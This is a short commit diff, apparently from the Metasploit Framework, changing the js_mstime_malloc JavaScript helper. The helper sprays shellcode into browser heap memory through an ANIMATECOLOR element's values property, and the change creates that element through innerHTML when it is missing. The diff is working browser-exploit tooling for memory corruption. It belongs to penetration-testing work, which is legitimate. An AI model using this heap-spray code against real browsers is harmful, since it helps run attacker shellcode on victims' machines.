Make animatecolor element optional by using innerHTML

Author: sinn3r

lib/msf/core/exploit/http/server.rb

@@ -885,7 +885,6 @@ def js_mstime_malloc
 			if (shellcode     == undefined) { throw "Missing argument: shellcode"; }
 			if (offset        == undefined) { offset = 0; }
 			if (heapBlockSize == undefined) { throw "Size must be defined"; }
-			if (objId         == undefined) { throw "ANIMATECOLOR element must be defined"; }
 
 			buf = "";
 			for (i=0; i < heapBlockSize/4; i++) {
@@ -899,7 +898,12 @@ def js_mstime_malloc
 			}
 
 			e = document.getElementById(objId);
-			if (e == null) { throw "Invalid ANIMATECOLOR element"; }
+			if (e == null) {
+				eleId = "#{Rex::Text.rand_text_alpha(5)}"
+				acTag = "<t:ANIMATECOLOR id='"+ eleId  + "'/>"
+				document.body.innerHTML = document.body.innerHTML + acTag;
+				e = document.getElementById(eleId);
+			}
 			try { e.values = buf; }
 			catch (e) {}
 		}